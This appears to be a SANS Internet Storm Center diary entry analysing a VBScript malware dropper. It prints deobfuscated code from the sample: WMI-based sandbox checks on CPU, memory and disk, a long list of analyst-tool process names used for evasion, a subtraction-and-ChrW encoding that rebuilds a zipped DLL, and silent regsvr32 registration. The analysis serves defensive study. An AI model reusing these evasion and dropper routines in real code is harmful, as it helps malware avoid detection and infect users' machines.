Sandbox Detection Tricks & Nice Obfuscation in a Single VBScript

Published: 2020-02-07. Last Updated: 2020-02-07 07:40:23 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

I found an interesting VBScript sample that is a perfect textbook case for training or learning purposes. It implements a nice obfuscation technique as well as many classic sandbox detection mechanisms. The script is a dropper: it extracts from its code a DLL that will be loaded if the script is running outside of a sandbox. Its current VT score is 25/57 (SHA256: 29d3955048f21411a869d87fb8dc2b22ff6b6609dd2d95b7ae8d269da7c8cc3d)[1].

Let’s first have a look at the sandbox detection tricks. A bunch of functions is called one by one. First, the number of CPU (cores) is tested:

(Note: the code has been deobfuscated and beautified)

Function CheckAvailableCPUs() 
  TnHWRZVH=Cint("0")
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Processor", , Cint("48"))
  For Each XqDiZDh In uxSpQuH
    If XqDiZDh.NumberOfCores < Cint("2") Then
      TnHWRZVH=True
    End If
  Next
  If TnHWRZVH Then
    WaitSeconds
  Else
  End If
End Function

Having only one core in 2020 is indeed suspicious. Even entry-level computers have at least a dual-core CPU.

Then, the available memory and disk storage are tested in the same way using WMI:

Function CheckAvailableMemory()
  Set VRfvQEHCs=GetObject("winmgmts:\\.\oot\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_ComputerSystem")
  For Each XqDiZDh In uxSpQuH
    zhlOwdMZ=zhlOwdMZ+Int((XqDiZDh.TotalPhysicalMemory) / CLng("1048576"))+Cint("1")
  Next
  If zhlOwdMZ < Cint("1024") Then
    WaitSeconds
    WaitSeconds
  End If
End Function

1GB is really not relevant today! And the available disk storage:

Function CheckAvailableStorage()
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_LogicalDisk")
  For Each XqDiZDh In uxSpQuH
    zhlOwdMZ=zhlOwdMZ+Int(XqDiZDh.Size / Clng("1073741824"))
  Next
  If zhlOwdMZ < Cint("60") Then
    WaitSeconds
End If
End Function

60GB is a bare minimum for the script to continue.

Then, it tries also to detect suspicious running processes. The list is quite interesting and contains most of the tools used by reversers, security analysts or in sandboxes:

Function SearchProcesses()
  FtfIrLKSv=Array("cis.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe", \
                  "fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe", \
                  "apimonitor.exe", "GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe", \
                  "apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe", \
                  "sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe", \
                  "sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe", \
                  "procanalyzer.exe", "spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe", \
                  "idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe", \
                  "bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe", \
                  "sython.exe", "capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe", \
                  "taslogin.exe","cffexplorer.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe", \
                  "tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe", \
                  "totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe", \
                  "raptorclient.exe","txplatform.exe","dnf.exe"," lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe", \
                  "vx.exe","dumpcap.exe", "lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe", \
                  "ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe", \
                  "fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe", \
                  "Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Process")
  For Each XqDiZDh In uxSpQuH
    For Each CMUDEKiI In FtfIrLKSv
      If XqDiZDh.Name=CMUDEKiI Then
        WaitSeconds
      End If
    Next
  Next
End Function

Note that some of them are not security tools (ex: totalcmd.exe) but may reflect a system used by a power-user or a system admin.

In all the functions above, you can see calls to another function ‘WaitSeconds’. It just pauses the script. I presume that the goal is to slow down the execution to try to reach the sandbox timeout. This means that the script execution will be automatically be suspended (without a suspicious “exit”).

Now, let’s have a look at the encoding used to hide the malicious DLL file. The main function used for this purpose looks like this:

Function DumpPEFile()
  Dim HEcNUGQa
  Dim zMObzBWv
  Set HEcNUGQa=CreateObject("ADODB.Stream")
  HEcNUGQa.Type=Cint("2")
  HEcNUGQa.Open()
  HEcNUGQa.WriteText pPIMlTd(KKIpXPPlJ)
  HEcNUGQa.WriteText pPIMlTd(ZiDMLJu)
  HEcNUGQa.WriteText pPIMlTd(DxhGnunhiY)
  HEcNUGQa.WriteText pPIMlTd(fBkPqDgf)
  HEcNUGQa.WriteText pPIMlTd(aPRPvahmZ)
  ...
  (hundreds of line of the same type)
  ...
  HEcNUGQa.WriteText pPIMlTd(ALyuadAJty)
  HEcNUGQa.WriteText pPIMlTd(oCVjsNkH)
  HEcNUGQa.WriteText pPIMlTd(GxLbWFw)
  HEcNUGQa.WriteText pPIMlTd(Xqfxdkb)
  HEcNUGQa.WriteText pPIMlTd(sBNoqL)
  HEcNUGQa.Position=Cint("0")
  Set zMObzBWv=CreateObject("ADODB.Stream")
  zMObzBWv.Type=Cint("2")
  zMObzBWv.Charset="ISO-8859-1"
  zMObzBWv.Open()
  HEcNUGQa.CopyTo(zMObzBWv)
  zMObzBWv.SaveToFile TemporaryFolder+"wVo.txt", Cint("2")
  HEcNUGQa.Close()
  zMObzBWv.Close()
End Function

Basically, the result of the function pPIMITd() is appended to build a big buffer that is dumped into a file. The pPIMITd() function looks like this:

Function pPIMlTd(fQPAqBU)
  bBzIKdZbm=0
  vJSObFl=""
  Do While bBzIKdZbm =< UBound(fQPAqBU)
    vJSObFl=vJSObFl+ChrW(fQPAqBU(bBzIKdZbm)-342152323)
    bBzIKdZbm=bBzIKdZbm+1
  Loop
  pPIMlTd=vJSObFl
End Function

The parameter expected by this function is an array. Let’s test with the first occurrence of pPIMITd and the array ‘KKIpXPPlJ’. It looks like:

KKIpXPPlJ=Array(ktFxTLfnyfS,hBEIwAlMwVmyZp,elpiUMhGM,nYHPZHPbULMzMks,kvlmawULEvI,
                yKPFeFcWsKKS,yKPFeFcWsKKS,yKPFeFcWsKKS,uKPFeFcWsKKS,yKPFeFcWsKKS,
                ...
                uBEIwAlMwVmyZp,fvlmawULEvI,tvlmawULEvI)

In this array, each variable is defined as a constant in the script. Let’s take again the first element of the array: 

const  ktFxTLfnyfS=342152403

In pPIMITd(), elements of the array are processed one by one and appended to a buffer via this line:

ChrW(fQPAqBU(bBzIKdZbm)-342152323) 

where 342152323 is subtracted from the value of the array element:

342152403 - 342152323 = 80.

The result is:

ChrW(80) = ‘P’

The second one: 342152398 - 342152323 = 75

ChrW(75) = ‘K’

And so on... You may recognize the two first letters of a ZIP archive ('PK'). The DLL is indeed compressed. Once dumped on disk, the script decompress it:

Function DecompressDLL()
  Dim oUpYypRUI
  Set oUpYypRUI=CreateObject("Scripting.FileSystemObject")
  oUpYypRUI.MoveFile TemporaryFolder+"wVo.txt", TemporaryFolder+"wVo.txt.zip"
  Set DYCYgzrHa=CreateObject("Shell.Application")
  Set colItems=DYCYgzrHa.NameSpace(TemporaryFolder+"wVo.txt.zip").Items()
  DYCYgzrHa.NameSpace(TemporaryFolder).copyHere colItems, 16
  oUpYypRUI.DeleteFile TemporaryFolder+"wVo.txt.zip", True
End Function

Finally, the malicious DLL is registered:

Function RegisterDLL()
  Set VRfvQEHCs=GetObject("winmgmts:Win32_Process")
  VRfvQEHCs.Create "regsvr32.exe -s "+ TemporaryFolder+"WSr.txt",,,processid
End Function

The DLL has a score of 38/68 (SHA256:342dc3cd2e1a91179f74df7bdb0fe68fe5de43063821dd4152b7b00d19244eed)[2].

This script executed perfectly in my sandbox and the DLL was dumped and loaded. But I like to check deeper and understand the obfuscation techniques created by malware developers. I found this one interesting to share with our readers.

[1] https://www.virustotal.com/gui/file/29d3955048f21411a869d87fb8dc2b22ff6b6609dd2d95b7ae8d269da7c8cc3d/detection
[2] https://www.virustotal.com/gui/file/342dc3cd2e1a91179f74df7bdb0fe68fe5de43063821dd4152b7b00d19244eed/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 comment(s)
ISC Stormcast For Friday, February 7th 2020 https://isc.sans.edu/podcastdetail.html?id=6858

Comments


Diary Archives